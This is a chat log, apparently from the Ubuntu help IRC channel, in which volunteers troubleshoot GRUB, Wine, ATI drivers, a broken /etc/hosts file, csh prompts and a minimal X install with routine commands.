[10:04] <Arcad3z> what shall i check?
[10:04] <Enselic> !ask | leladia
[10:04] <Ubotu> leladia: Don't ask to ask a question. Just ask your question :)
[10:05] <ari_stress> [nrx] : owww.. hmm i've never done that, i always change it from network manager
[10:05] <dew> Irreducibilis, you read that above?
[10:05] <gary4gar> do i have to install everything again?
[10:05] <leladia> i have this command "set prompt = $cwd%"
[10:05] <ari_stress> [nrx] : i think i know what happens
[10:05] <Irreducibilis> dew: okay
[10:05] <Enselic> gary4gar: very unlikely, just reinstall grub
[10:05] <[nrx] > ari_stress, i've also tried with the connection properties (from the applet in the panel)
[10:05] <ari_stress> [nrx] : you could be accidentally turn off network manager
[10:05] <dystopianray> [nrx] : what chip does the wifi card use?
[10:05] <locke> hmm
[10:05] <Enselic> Arcad3z: what do you use for Internet?
[10:05] <locke> /usr/bin/winecfg exists
[10:05] <[nrx] > ari_stress, the problem now is that I don't even get a signal strength showing.. and I can't get into network manager.. it just wont load
[10:05] <gary4gar> Enselic: how now i am on live cd?
[10:05] <leladia> the problem i am having is i need a space between the % and the blinking cursor
[10:05] <rausb0> leladia: set prompt = ... is csh syntax. do you really use csh or tcsh as your shell?
[10:05] <[nrx] > dystopianray, I don't know :(
[10:06] <Arcad3z> eth1 static IP LAN
[10:06] <locke> hmm
[10:06] <Enselic> !grub | gary4gar
[10:06] <Ubotu> gary4gar: grub is the default Ubuntu boot manager. Lost grub after installing windows: https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows - Making GRUB floppies & other GRUB howtos: https://help.ubuntu.com/community/GrubHowto
[10:06] <locke> i can run /usr/bin/winecfg
[10:06] <ari_stress> [nrx] : you can try to turn on network manager again from administration > network, and make sure you 'tick mark' the wifi device
[10:06] <leladia> sorry forgot to mention that i use csh
[10:06] <leladia> thanks
[10:06] <dystopianray> [nrx] : if it's pci use lspci
[10:06] <jah> hi, ive got a problem, i got JAVA 1.6 installed but somehow if I type, java -version, I still gt 1.4.1... can anyone tell me how to adjust the links?!?
[10:06] <[nrx] > dystopianray, but it was working previously!
[10:06] <[nrx] > ari_stress, ok
[10:06] <dystopianray> jah: sudo update-alternatives --config java
[10:06] <gary4gar> Enselic: looking......thanks btw
[10:06] <Enselic> jah: try  hash java
[10:06] <rausb0> leladia: hmm, i don't know csh very well. why don't you use the default, bash?
[10:06] <dystopianray> [nrx] : is it a pci card?
[10:06] <[nrx] > ari_stress, "System > Administration > Networking" ?
[10:06] <Enselic> gtg, sorry
[10:07] <Arcad3z> i used firestarter and ....nothing
[10:07] <[nrx] > dystopianray, yes
[10:07] <giRL> gfuytutututut
[10:07] <ari_stress> [nrx] : yes network
[10:07] <jah> Enselic: tnxx... how can I select another one there?
[10:07] <leladia> do u understand my question now?
[10:07] <[nrx] > dystopianray "Atheros Communications - Unknown Device 001a" :)
[10:07] <locke> ok so /usr/bin/wine exists, how do i make it so runnign wine executes it and doesnt try to run /usr/local/bin/wine
[10:07] <dew> Well I'll ask my usual question.... anyone know if there's a way to set a program/window as un-minimizable?
[10:07] <ari_stress> [nrx] : what is the sign of the wireless? is it ticked mark?
[10:08] <[nrx] > ari_stress, that fails to load.. you click on it.. nothing happens anymore :(
[10:08] <rausb0> leladia: no, i don't know the prompt syntax of csh, i just recognized set var = value to be csh
[10:08] <dystopianray> locke: delete /usr/local/bin/wine
[10:08] <ari_stress> [nrx] : oh sh*t
[10:08] <leladia> okay
[10:08] <leladia> anyone good with csh?
[10:08] <[nrx] > I dunno if it helps, but last night before I left the office, the update manager flagged up a pile of updates (about 250mb) and downloaded and installed them all
[10:09] <boontoo> anyway i had alsa installed and it was working then some random update borged my sound? any nideas?
[10:09] <dew> .... uh oh to the unknown device....
[10:09] <[nrx] > and the laptop is now taking ages to load any application
[10:09] <[nrx] > ..if at all
[10:09] <locke> dystopianray, no such file
[10:09] <locke> thast why it doesnt run
[10:09] <ompaul> leladia, there appears to be a #csh - most people here would be using bash
[10:09] <locke> it doesnt exist, but its trying to find it in there
[10:09] <Irreducibilis> Speaking of
[10:09] <dystopianray> dew: unknown device is likely just an outdated pci.ids file
[10:09] <leladia> thanks
[10:10] <Some_ux> hi, how do i run a startup script at boottime ?
[10:10] <locke> why does running wine from any location not find /usr/bin/wine though
[10:10] <dystopianray> locke: if you just type 'wine' it tries to run /usr/local/bin/wine ?
[10:10] <Irreducibilis> Will Ubuntu run on a laptop with a 500Mhz Celeron processer, 128mb of ram, and a 2 gig HD?
[10:10] <locke> dystopianray, yes
[10:10] <boontoo> anyone?
[10:10] <dystopianray> locke: do you have anything relating to wine in ~/bin ?
[10:10] <locke> i want it to run /usr/bin/wine
[10:10] <nanonyme> locke, try logging off and coming back
[10:10] <faileas> Irreducibilis: possibly. xubuntu would be better tho
[10:10] <locke> dystopianray, ~/bin doesnt exist
[10:10] <dew> dystopianray, ah, I was just reacting to someone else's problem.  Thankfully, most of my problems are gone with Ubuntu
[10:10] <dystopianray> Irreducibilis: possibly... but it'd be a real stretch
[10:11] <[nrx] > i think i might just reinstall ubunutu
[10:11] <nanonyme> it seems that those things are sometimes cached
[10:11] <leladia> ompaul: i tried #csh and i am the only one in the room
[10:11] <locke> can i logout of the terminal and log back in
[10:11] <faileas> the HD is VERY much on the small side
[10:11] <leladia> guess everybody is here then
[10:11] <locke> ooh
[10:11] <locke> yes i can
[10:11] <nanonyme> heh, i've only used tcsh
[10:11] <locke> and now its wine-0.9.44
[10:11] <locke> i love tilda :)
[10:12] <dew> [nrx] , what drivers were you using for the wireless card?
[10:12] <nanonyme> never csh itself
[10:12] <locke> but it takes a manual command to logout and abck in
[10:12] <zetheroo> is there a way to check that my graphic card is using its dedicated ram?
[10:12] <zetheroo> just seems that graphically its not as good as it should be
[10:12] <zetheroo> for example..... screensavers are real jumpy
[10:12] <zetheroo> and on my 4 year old machine the screensavers run real smooth
[10:12] <[nrx] > dew, I have no idea... ubuntu detected it automagically when i installed ubuntu and it all worked straight off
[10:12] <nanonyme> leladia, what kind of an issue do you have?
[10:12] <locke> i originally was trying to run Penumbra
[10:12] <dystopianray> zetheroo: what card do you have and what driver are you using?
[10:13] <dystopianray> dew: atheros cards use madwifi
[10:13] <[nrx] > dew, I think the problem at the moment though is that I can't get into any applications... network manager wont load.. update manager wont load, etc etc.
[10:13] <zetheroo> I have a ATI X1400 using the fglrx drivers
[10:13] <gary4gar> i by mistake un-installed the grub but now have rendered my system useless
[10:13] <dew> [nrx] , oh, wow.  That's insane.
[10:13] <dystopianray> zetheroo: fglrx is crap
[10:13] <zetheroo> I know
[10:13] <zetheroo> but its all that works with this card
[10:13] <leladia> i need a space between this % and the blinking cursor when i run the command "set prompt = $cwd%" on csh
[10:13] <gary4gar> i followed this to fix :https://help.ubuntu.com/community/RecoveringUbuntuAfterInstallingWindows
[10:13] <dystopianray> zetheroo: the 8.41 driver was released today, supposedly doubles the performance
[10:13] <[nrx] > dew, I can see in a process list that the network manager is running, it's just not showing in gnome
[10:14] <gary4gar> but it does not work
[10:14] <dew> dystopianray, well, honestly right now I'm using NDISWrapper b/c madwifi doesn't support my chip yet.
[10:14] <locke> ok now i can run wine, but the sound is totally screwed, and 3d accel apps atke over the mouse and keep the min the window
[10:14] <dystopianray> dew: ar5008?
[10:14] <locke> i need to run winecfg again i guess, but i already told it not to keep the mouse
[10:14] <Some_ux> ok, apparently my bad, I am used to Joe which tends to hide the lower parts of documents it edits. therefore i thought /etc/rc.local is not the script which runs at strartup
[10:14] <gary4gar> now i am not understanding what to do?
[10:14] <zetheroo> how do I know what driver version I have?
[10:15] <dah-rat> hi
[10:15] <dystopianray> zetheroo: maybe dmesg will tell you
[10:15] <leladia> thanks u all i got it
[10:15] <zetheroo> ok
[10:15] <[nrx] > dew, dystopianray: my laptop is called Thor... I'm getting this error message when trying to kill processes: "sudo: unable to lookup Thor via gethostbyname()"
[10:15] <[nrx] > any ideas?
[10:15] <[nrx] > does this explain anything?
[10:15] <Some_ux> But Joe is the closest to msdos Edit, any suggestions on a better text editor (which is not vi)
[10:15] <zetheroo> and how do I update the driver?
[10:15] <finn> I am pretty sure I have universe working, but I cannot find   xmms2   with "apt-cache search"
[10:15] <locke> ok so i told it not to let directx control the mouse so it doesnt let it out of the window and i told it not to let the window manager handle it
[10:15] <dystopianray> [nrx] : pastebin the file /etc/hosts
[10:15] <dew> dystopianray, it's the AR5BXB63
[10:16] <[nrx] > i can't pastebin anything.. it's not connected to the net :P
[10:16] <dew> [nrx] , wow, I've never encountered anything like that before.
[10:16] <dystopianray> [nrx] : write it on a piece of paper and copy that into pastebin
[10:16] <bullgard4> Where from obtains xrandr the display size data in millimeters?
[10:16] <[nrx] > dystopianray, to save the bother, it's empty :o
[10:16] <dystopianray> bullgard4: from your monitor
[10:16] <dystopianray> [nrx] : ok
[10:16] <dystopianray> [nrx] : you need to add two lines:
[10:16] <[nrx] > dystopianray, apart from a comment line "The Following lines are desirable for IPv6 capable hosts"
[10:17] <dystopianray> [nrx] : copy the next two things i say into /etc/hosts
[10:17] <dystopianray> [nrx] : 127.0.0.1 localhost
[10:17] <dystopianray> [nrx] : 127.0.1.1 Thor
[10:17] <bullgard4> dystopianray: I doubt. My monitor is built in my laptop computer and my monitor is dumb.
[10:17] <dystopianray> bullgard4: it's not as dumb as you think
[10:18] <[nrx] > it wont let me open the file... keeps coming back as "unable to lookup Thor via gethostbyname()"
[10:18] <bullgard4> dystopianray: Can you prove that.
[10:18] <[nrx] > seems i can't run anything with sudo
[10:18] <dystopianray> bullgard4: it knows how large it is
[10:18] <dew> [nrx] , what about logging in as root?
[10:18] <Some_ux> I know there are many text editors in linux, which one is worth getting used to ?
[10:18] <dystopianray> [nrx] : use nano from a terminal
[10:18] <dystopianray> Some_ux: vi
[10:18] <bullgard4> dystopianray: Tell me how it knows that.
[10:18] <[nrx] > i was using pico
[10:19] <Some_ux> isnt vi = the one with all the crazy hotkey shortcuts ?
[10:19] <[nrx] > dystopianray, and I can't save the file because of permissions
[10:19] <[nrx] > Some_ux, yeah
[10:19] <zetheroo> dystopianray: this is what I found
[10:19] <zetheroo> dystopianray
[10:19] <locke> k the sound is still totally screwed though
[10:19] <zetheroo> [   72.564000]  [fglrx]  module loaded - fglrx 8.34.8 [Feb 20 2007]  on minor 0
[10:19] <dystopianray> bullgard4: http://en.wikipedia.org/wiki/Extended_display_identification_data
[10:19] <dystopianray> zetheroo: ok, so that is the version you have
[10:19] <locke> it worked in 0.9.3some and a couple other versions
[10:19] <macsim> hello, I have a 2Ghz computer where cpuinfo tell ht but I have no hypertreading : here is the info http://paste.ubuntu-nl.org/37293/ how can I fix it ? thanks
[10:20] <dystopianray> [nrx] : you need to edit it as root
[10:20] <dystopianray> [nrx] : sudo nano /etc/hosts
[10:20] <locke> 0.9.26 is supposed to run this game flawlessly but all attempts to run wine or winecfg or wine --version when 0.9.24 was installed gave segfault
[10:20] <zetheroo> dystopianray: should I upgrade it?
[10:20] <dystopianray> zetheroo: if you want
[10:20] <zetheroo> dystopianray: how do I?
[10:20] <dystopianray> zetheroo: I don't know, I don't use ati
[10:20] <[nrx] > dystopianray, yes, but it wont let me... when I try and run anything under sudo, it tells me that error message "sudo: unable to lookup Thor via gethostbyname()"
[10:21] <locke> i just tried to install cpuinfo but no package exists
[10:21] <locke> what is cpuinfo and where is it from
[10:21] <dystopianray> [nrx] : can you do the following:
[10:21] <zetheroo> does anyone else here use the X1400 ATI graphics card?
[10:21] <dystopianray> [nrx] : hrrm actually nevermind
[10:21] <zaidar> [nrx] , you could just boot with the ubuntu cd in recovery and chroot to edit it
[10:21] <dystopianray> [nrx] : yeah do what zaidar said
[10:21] <pazifi_> jetzt
[10:21] <locke> hardinim gonna instyall hardinfo
[10:21] <[nrx] > ARGH
[10:21] <[nrx] > I don't have a flamin CD
[10:21] <[nrx] > actually
[10:21] <[nrx] > i have dual boot
[10:21] <hero> is there any program similar to Abby Fine Reader OCR for Ubuntu 7.04
[10:22] <zetheroo> I hope Gutsy is going to be better becasue this is very disapointing
[10:22] <[nrx] > is there a small windows app that will let me access the ext3 partition and edit it?
[10:22] <zetheroo> brand new laptop and great graphics.... but can't use it....
[10:22] <zaidar> [nrx] , download it and burn one
[10:22] <_buz> could someone running *feisty* kindly paste the output of cat /proc/asound/version ?
[10:22] <zaidar> [nrx] , you should keep one handy
[10:22] <[nrx] > all for a hosts file? c'mon. gotta be an easier way
[10:22] <dystopianray> zetheroo: this is the fault of ATI
[10:22] <[nrx] > i left it at home :P
[10:22] <dystopianray> zetheroo: you should not have bought ATI
[10:23] <zetheroo> dystopianray: how should I know that?
[10:23] <djroze> hey, who has time for a quick supporty question?
[10:23] <dew> [nrx] , there is a way to access an ext3 partition, but it can be tricky.  It involves drivers
[10:23] <dystopianray> _buz: 1.0.14rc1
[10:23] <nanonyme> intel <3
[10:23] <[nrx] > dew, i'm happy with that :)
[10:23] <pazifi_> intel FTW
[10:23] <_buz> dystopianray: thanks a lot
[10:23] <[nrx] > dew, tell me more! :)
[10:23] <zetheroo> dystopianray: my T30 Thinkpad has ATI graphics and it works perfectly with beryl adn all
[10:23] <hero> is there any program similar to Abby Fine Reader OCR for Ubuntu 7.04?? :'(
[10:23] <dystopianray> zetheroo: research the equipment you are buying
[10:24] <predaeus> djroze, just ask your question
[10:24] <gordonjcp> !ask | djroze
[10:24] <Ubotu> djroze: Don't ask to ask a question. Just ask your question :)
[10:24] <dystopianray> [nrx] : it's likely to cause more problems
[10:24] <zetheroo> so Ubuntu is not all its cracked up to be.... sob
[10:24] <dystopianray> [nrx] : you just need any linux livecd with a text editor
[10:24] <dystopianray> [nrx] : damns mall linux will do, it's 50MB
[10:24] <pazifi_> o0
[10:24] <dystopianray> zetheroo: it is ATI's fault, not ubuntu
[10:24] <[nrx] > true.
[10:24] <[nrx] > i'll boot into windows :)
[10:24] <[nrx] > </swear>
[10:24] <Irreducibilis> I have DSL on a flash drive :)
[10:24] <Slick`> Greetins.
[10:25] <zaidar> [nrx] , you can access from windows easily but not write to the drive
[10:25] <jan_> morning
[10:25] <jan_> anyone here uses svn?
[10:25] <Slick`> hehe 11:25 AM
[10:25] <pazifi_> moin
[10:25] <djroze> okie, digg
[10:25] <dystopianray> jan_: i do
[10:25] <zetheroo> dystopianray: what does ATI have to do with it?
[10:25] <jan_> here it's 10.25
[10:25] <dew> [nrx] , unfortunately I tend to agree with dystopianray.... it's possible but a lot of problems
[10:25] <phoenix24> why can't I edit the /proc/sys files using a text editor ?
[10:25] <dystopianray> zetheroo: ATI made the driver
[10:25] <djroze> so i am trying to install some wireless driver stuff
[10:25] <Wess> Any one knows how can I uninstall grub as a boot loader
[10:25] <dystopianray> zetheroo: and the driver is crap
[10:25] <dwa> zetheroo: to be more precise, they forgot to make the driver
[10:25] <[nrx] > dystopianray, this hosts file issue. Would that explain why a lot of the apps are failing to load?
[10:25] <dystopianray> phoenix24: it's not a real file
[10:25] <zetheroo> dystopianray: so why do other ATI cards work great and this particular one does not?
[10:25] <jan_> dystopianray: do you know if there is a way that i can do for ex 'svn co https://dev/test /home/jan/projects/test/' ?
[10:26] <dystopianray> zetheroo: they are older cards
[10:26] <djroze> was trying to apt-get this package bcm43xx-fwcutter
[10:26] <kujo> does anyone know if i can use itunes on linux?
[10:26] <hero> is there any program similar to Abby Fine Reader OCR for Ubuntu 7.04?? I need a program to convert text image into a word file.:'(:'(
[10:26] <yotam> hi all.
[10:26] <kujo> on ubuntu, that is
[10:26] <djroze> and it tried to do this post-install download of a firmware file
[10:26] <dystopianray> jan_: yes there is, just type that command
[10:26] <djroze> so i said okie
[10:26] <jan_> really ?
[10:26] <zetheroo> dystopianray: so Ubuntu is backwards compatible but not forwards?
[10:26] <zaidar> [nrx] , i would have had that hosts file fixed and playing yahoo pool by now ... get a livecd
[10:26] <dystopianray> jan_: wait a second
[10:26] <djroze> and it had a 404, b/c the file has moved
[10:26] <bullgard4> dystopianray: http://paste.debian.net/36978
[10:26] <jan_> ok
[10:26] <[nrx] > zaidar, thanks
[10:26] <predaeus> phoenix24, http://en.wikipedia.org/wiki/Procfs
[10:26] <dystopianray> jan_: is that a local directory you want to use as a repository?
[10:26] <sauvin> I thought itunes had no linux version; it's available, afaik, only for windows and mac osx. I wonder if itunes would run under wine?
[10:26] <dew> wow.... everyone loves dystopianray
[10:26] <djroze> so now every time i try to remove/reinstall, it looks to that same position...can't seem to clean it or anything
[10:26] <jan_> dystopianray: yes
[10:27] <yotam> does anybody know how to remove the ati driver (the one downloaded from the web)?
[10:27] <MasonUS> kujo: I think I saw something about an application that was supposed to sync ipods from linux
[10:27] <djroze> i think i found the new URL for the file but i can't seem to tell apt-get to use the new one
[10:27] <jan_> dystopianray: i just want that the file will be placed there
[10:27] <jan_> ;)
[10:27] <zetheroo> dystopianray: the windows drivers are all there for this card..... but in Linux nothing! So Ati has made the drivers for it.....for windows at least...
[10:27] <MasonUS> kujo: although I think it could breach your warranty
[10:28] <dystopianray> zetheroo: that's right, windows is the main concern of ATI, not linux
[10:28] <MasonUS> kujo: have you tried googling "using ipod with linux" ?
[10:28] <[nrx] > MasonUS, lol
[10:28] <dystopianray> zetheroo: you may have more luck with the 8.41 drivers though
[10:28] <zetheroo> dystopianray: does ATI make linux drivers?
[10:28] <MasonUS> :)
[10:28] <dystopianray> zetheroo: yes, fglrx IS ATI's driver
[10:28] <yotam> anybody?
[10:28] <dystopianray> zetheroo: ATI wrote that driver, it's crap becuase of ATI
[10:29] <Irreducibilis> ATI = Crap
[10:29] <Irreducibilis> Nvidia = YAY!
[10:29] <djroze> so, any ideas on how i can tell apt-get to forget about the old URL?
[10:29] <[nrx] > NVidia ftw!
[10:29] <Irreducibilis> W00t
[10:29] <zetheroo> dystopianray: I see
[10:29] <SlimeyPete> djroze: have you rn an "apt-get update"?
[10:29] <Irreducibilis> eVga 8800 GTX ftw
[10:29] <brutopia> haven't you heard that ATI released specs of it's newest GPUs
[10:29] <Irreducibilis> Too bad I only have a 5500...
[10:29] <djroze> yeah slimey, i think so
[10:29] <dystopianray> jan_: I don't remember the exact commands, but basically you create a repository in a directory somewhere
[10:29] <zetheroo> dystopianray: how do I change to the drivers your suggesting?
[10:30] <brutopia> it shouldn't be long that there's proper open-source driver released
[10:30] <dystopianray> jan_: and then you can checkout/commit/etc on that directory
[10:30] <djroze> i am sharing one internet connection so i can't do it right on the spot
[10:30] <zetheroo> dystopianray: and why do you suggest them?
[10:30] <djroze> but pretty sure i did
[10:30] <dystopianray> zetheroo: I don't know, I don't use ATI
[10:30] <Irreducibilis> ATI and AMD is teh suxzors
[10:30] <dew> ...wow holy smoke it's 4:30am here!
[10:30] <Some_ux> muhaha, i managed to run Cooln'quiet on startup
[10:30] <dew> I better get outta here.
[10:30] <dystopianray> zetheroo: they were only just released today, support more hardware and apparently have twice the performance
[10:30] <dew> Later all
[10:30] <MasonUS> irreduciblis:I've used AMD products, worked just fine for me.
[10:30] <Irreducibilis> Intel Core 2 Quad, ftw.... speaking of, is ubuntu capable of utilizing all 4 cores?
[10:30] <dystopianray> AMD is great, ATI suck
[10:31] <nanonyme> brutopia, actually is that even true? didn't they just release specs for the devices that were already reverse-engineered?
[10:31] <MasonUS> irreduciblis: can you justify that statement you've made?
[10:31] <zetheroo> dystopianray: but you don't know how I can get them?
[10:31] <zetheroo> ok
[10:31] <dystopianray> Irreducibilis: yes, ubuntu can use 64 cpus by default
[10:31] <sadnewb> sorry to bother everyone with a probably simple problem...i recently had a bunch of programs (including synaptic and the terminal) dissappear from the menus. The add/remove programs doesn't open either. Any things I can try?
[10:31] <Irreducibilis> MasonUS: They suck until they are better than Intel. Intel currently pwns with the Core quad
[10:31] <dystopianray> zetheroo: I don't use ATI, I don't know how to install their drivers
[10:31] <bintut> how do you guys implement an "auto-provisioning config file" from dhcpd server to your workstations?
[10:31] <zetheroo> dystopianray: oh and ppl.... ATI just announced that they are going Open Source, so they may not suck that badly
[10:32] <nanonyme> zetheroo, it's a marketing stunt, most likely
[10:32] <MasonUS> Irreduciblis: Why do they suck? Is there some function of ubuntu that you can't use with an AMD chip?
[10:32] <dystopianray> zetheroo: they are not going open source, they are releasing a minimal 2d-only driver that is open source
[10:32] <nanonyme> MasonUS, speed issues
[10:32] <zetheroo> nanonyme: what isn't a marketing stunt these days?
[10:32] <dystopianray> zetheroo: it'll be just as rubbish as the 'nv' driver
[10:32] <Irreducibilis> MasonUS: They are just slower than intel at the moment. If they releaced a chip that pwns the Core 2 Quad right now, I would say the opposite, that AMD rules.
[10:32] <nanonyme> zetheroo, the thing that intel does with their display adapters
[10:33] <nanonyme> zetheroo, the specs are fully open, intel will probably be the kind of the hill on linux display adapters eventually
[10:33] <nanonyme> king of the hill even
[10:33] <MasonUS> Irreducibilis: Yeah but you said that they "sucked" Its like saying that a carolla "sucks" because it isn't as fast a ferrari.
[10:33] <Irreducibilis> Depends on the usage.
[10:33] <zetheroo> interesting
[10:33] <MasonUS> Irreduciblis:agreed.
[10:33] <dystopianray> AMD has superior 64-bit performance
[10:33] <Irreducibilis> That is true.
[10:33] <dystopianray> and has better performance per dollar
[10:33] <Irreducibilis> But... clock speed... w00t
[10:33] <Irreducibilis> and the core #
[10:33] <zetheroo> I like AMD
[10:34] <MasonUS> So do I.
[10:34] <[nrx] > 297kb/sec
[10:34] <[nrx] > ;o
[10:34] <weka> hey there all ... got a dapper cli install that "needs" a minimal gui whats the key apt-get s to get sat fvwm up and running ?
[10:34] <dystopianray> as do I
[10:34] <zetheroo> How is the Gutsy Gibbon going to upgrade our systems?
[10:34] <Irreducibilis> Well, I am a gamer
[10:34] <weka> * say
[10:34] <MasonUS> :) I am not.
[10:34] <nanonyme> weka, fvwm isn't minimal gui
[10:34] <dystopianray> nor am I
[10:34] <[nrx] > "System Rescue CD"
[10:34] <zetheroo> is it going to be a complete makeover?
[10:34] <[nrx] > that'll do ;p
[10:35] <dystopianray> zetheroo: no
[10:35] <nanonyme> minimal gui is X
[10:35] <dystopianray> zetheroo: each ubuntu release is incremental changes
[10:35] <dystopianray> weka: minimal is twm
[10:35] <dystopianray> weka: it comes with X
[10:35] <weka> nanondoh!
[10:35] <zetheroo> dystopianray: is it going to update automatically?
[10:35] <zetheroo> dystopianray: like online?
[10:35] <nanonyme> yeah and you can also use X without a window manager :)
[10:35] <Delta> hey can somebody remind me the files you have to change to change the resolution and the options when I load GRUB?
[10:35] <dystopianray> zetheroo: fiesty won't automatically become gutsy, if that's what you mean
[10:35] <Some_ux> ok, so when i type: sensors i get this weird voltage reading. how do i get from it my cpu temerpature ?
[10:35] <byonix> anyone knows tutorial about drupal 5.1
[10:36] <zetheroo> dystopianray: so what does one need to do to upgrade?
[10:36] <byonix> anyone knows tutorial about drupal 5.1
[10:36] <weka> yep i ment twm .. its been a while
[10:36] <dystopianray> zetheroo: ask in #ubuntu+1
[10:36] <Flannel> zetheroo: Update manager will give you an option to upgrade over the web, yes.
[10:36] <zaidar> [nrx] , it might be helpful for you to investigate WHY your hosts file was empty...
[10:36] <dystopianray> weka: you'll already have twm if you have X
[10:36] <MasonUS> I wish I could log this chatroom and save it to a documen that I could browse through on my pocketPC.  Lol, I learn more here in 10 minutes than I do in an hour on googling these issues.
[10:36] <weka> no x
[10:36] <zetheroo> Flannel: Awesome
[10:36] <boontoo> DADJSID
[10:37] <zetheroo> Flannel: Will it mean better graphics drivers etc?
[10:37] <Flannel> MasonUS: logs are posted to the interblags
[10:37] <weka> just don't nknow the key syntax to apt X ..
[10:37] <dsad> anyway, my Login screen doesnt show up and for some reason i cant access the login configurator from the menu, any ideas
[10:37] <MasonUS> flannel:inerblags?
[10:37] <MasonUS> flannel: URL?
[10:37] <dystopianray> zetheroo: gutsy will have newer versions of most (all?) packages
[10:37] <[nrx] > zaidar, I think I have a feeling that I know *goes red*
[10:37] <dystopianray> zetheroo: including drivers and the kernel
[10:37] <weka> simple stuff really ... how do i apt-get X into dapper ?
[10:37] <djroze> anyone else have advice for how to get apt-get to forget that post-install firmware download?  :'(
[10:38] <Irreducibilis> [nrx] : Get a little delete happy?
[10:38] <Flannel> !logs | MasonUS
[10:38] <Ubotu> MasonUS: Channel logs can be found at http://people.ubuntu.com/~fabbione/irclogs
[10:38] <dystopianray> djroze: ctrl+c ?
[10:38] <zaidar> [nrx] , *goes red* ?
[10:38] <zetheroo> dystopianray: what about Pocket PC's?
[10:38] <MasonUS> Thanks fellas.
[10:38] <MasonUS> I'll check that out
[10:38] <[nrx] > Irreducibilis, connection properties... then the "hosts" tab. removed the wrong entries heh
[10:38] <dystopianray> zetheroo: a pda?
[10:38] <djroze> dystopianray: during what execution?
[10:38] <Irreducibilis> Yeah
[10:38] <zetheroo> dystopianray: will gutsy have a better app for that?
[10:38] <dystopianray> djroze: while it's downloading
[10:38] <Flannel> zetheroo: http://www.ubuntu.com/testing/tribe5  Although, #ubuntu+1 is a better place to ask.
[10:38] <zetheroo> dystopianray: PDA
[10:38] <Irreducibilis> PPC is the windows OS for PDAs
[10:38] <dystopianray> zetheroo: I have no idea
[10:38] <phoenix24> how could I disable all my outgoing network sessions ?
[10:38] <dystopianray> zetheroo: ask in #ubuntu+1
[10:39] <djroze> dystopianray: it has a 404 error, so basically there is no time
[10:39] <zaidar> [nrx] , ahh been there
[10:39] <dystopianray> phoenix24: unplug the cat5
[10:39] <phoenix24> dystopianray: anything else?
[10:39] <dystopianray> phoenix24: turn off your computer
[10:39] <[nrx] > zaidar, but that was in an attempt to get the connection working. so once I have the hosts file sorted, I think i'll still have the same problem.. although maybe a little further forward
[10:39] <zetheroo> what is ubuntu+1?.....
[10:39] <dsad> When ubuntu boots it boots strait into a terminal, not to my Login screen, how do i fix that?
[10:39] <dystopianray> zetheroo: the channel #ubuntu+1
[10:39] <Flannel> zetheroo: /join #ubuntu+1
[10:39] <phoenix24> dystopianray: naah! bette
[10:39] <dystopianray> zetheroo: the gutsy irc channel
[10:39] <zetheroo> oh ok
[10:39] <zaidar> [nrx] , much further ;)
[10:39] <dystopianray> phoenix24: unload your nic driver
[10:39] <Some_ux> why does it say core1 core0 when i type sensors ? I only have a singlke core ?
[10:39] <Some_ux> single
[10:40] <bullgard4> dystopianray: http://paste.debian.net/36978
[10:40] <Flannel> Some_ux: Hyperthreading
[10:40] <dystopianray> Some_ux: it may not mean 'core' as in cpu cores
[10:40] <weka> ok so how can i install X into a cli dapper ?
[10:40] <Irreducibilis> Logical and physical cores are different things
[10:40] <dystopianray> bullgard4: which information do you want from edid?
[10:40] <leladia> i noticed that whenever i change my shell from bash to csh the settings i changed in the csh will return to its default. why is that?
[10:40] <bullgard4> dystopianray: The height of my display in millimeters.
[10:41] <predaeus> phoenix24, use firestarter to set iptables firewall rules.
[10:41] <Flannel> weka: sudo apt-get install ubuntu-desktop, will install the ubuntu desktop.  xserver-xorg is the x server itself though
[10:41] <phoenix24> predaeus: thanks
[10:41] <predaeus> phoenix24, or learn how to set them directly with iptables. you can e.g. just drop every outgoing package.
[10:41] <dsad> When ubuntu boots it boots strait into a terminal, not to my Login screen, how do i fix that?
[10:41] <Irreducibilis> I want the weight in my ubuntu partition in metric tons
[10:41] <dystopianray> bullgard4: xdpyinfo | grep dimensions
[10:41] <bhara1> hi, how to specify permissions in sudo so that one can only mount the drives...
[10:42] <phoenix24> predaeus: any tutorial you recommend for iptables ?
[10:42] <dystopianray> phoenix24: why do you want to drop all outgoing packets?
[10:42] <weka> Flannel: i have the xserver-xorg-core ... but just want X then say twm ... gotta keep this small
[10:42] <zaidar> dsad, for now log in and type startx
[10:42] <[nrx] > tutorial for iptables?
[10:42] <predaeus> phoenix24, there should be lots on the web
[10:42] <[nrx] > wow.
[10:43] <dsad> zaidar: how about setting the Grub splash to default?
[10:43] <dystopianray> weka: do you have video and input drivers installed?
[10:43] <Flannel> weka: ah, then yeah, install xorg then install twm, and you'll be fine
[10:43] <MasonUS> I wish grub was a little more user friendly.
[10:43] <zaidar> dsad, gksu gdm-setup
[10:44] <MasonUS> Is there a GUI for configuring it?
[10:44] <weka> i need the syntax for the apt-get .. "xorg" don't work
[10:44] <Some_ux> strange, doesnt lm-sensors understand which fan/diode belongs to the cpu and which to the motherboard ?
[10:44] <zaidar> dsad, gksu gdmsetup  NO dash
[10:44] <zaidar> dsad, sorry
[10:44] <dsad> np
[10:44] <dsad> but it doesnt work anyway
[10:44] <zaidar> are you logged into your desktop?
[10:44] <weka> Couldn't find package xorg
[10:45] <bullgard4> dystopianray: xdpyinfo | grep dimensions types the y dimension wrongly. It is not 212 mm as stated but it is 207 mm. How can I correct xdyinfo's data?
[10:45] <dystopianray> Some_ux: there is no way to tell and it's different for each mobo, it comes with a hardcoded list of possible sensor names for different chips
[10:45] <zaidar> dsad, are you logged in to your desktop?
[10:45] <Delta> hey can somebody remind me the files you have to change to change the resolution and the options when I load GRUB?
[10:45] <dystopianray> bullgard4: you can configure X with a specific size for your display, google for it
[10:45] <h1st0_> Anyone know if I build my own kernel boot in to it and isntall the nvidia drivers will I have issues because I have nvidia-glx installed on this kernel?
[10:45] <weka> doh guess i need to point at the xorg repo huh ?
[10:45] <[nrx] > weka, lol
[10:45] <dystopianray> h1st0_: nvidia-glx is independant of the kernel, but you will need to build a new nvidia driver for the new kernel
[10:46] <dsad> zaidar: yeh im in gnome but ive been having a lot of problems with it lately after the kernel update everything has stopped working properly, sound, login screens, ive had to chown this and that
[10:46] <weka> nrx: shucks ..
[10:46] <h1st0_> dystopianray: can both coexhist on the same system or do I have to remove nvidia-glx and install the other?
[10:46] <weka> ..been a long day
[10:46] <[nrx] > weka, I know that feeling very well
[10:46] <[nrx] > heh
[10:46] <zaidar> dsad, i would just remove the new kernel
[10:46] <dsad> how do u do that? lol
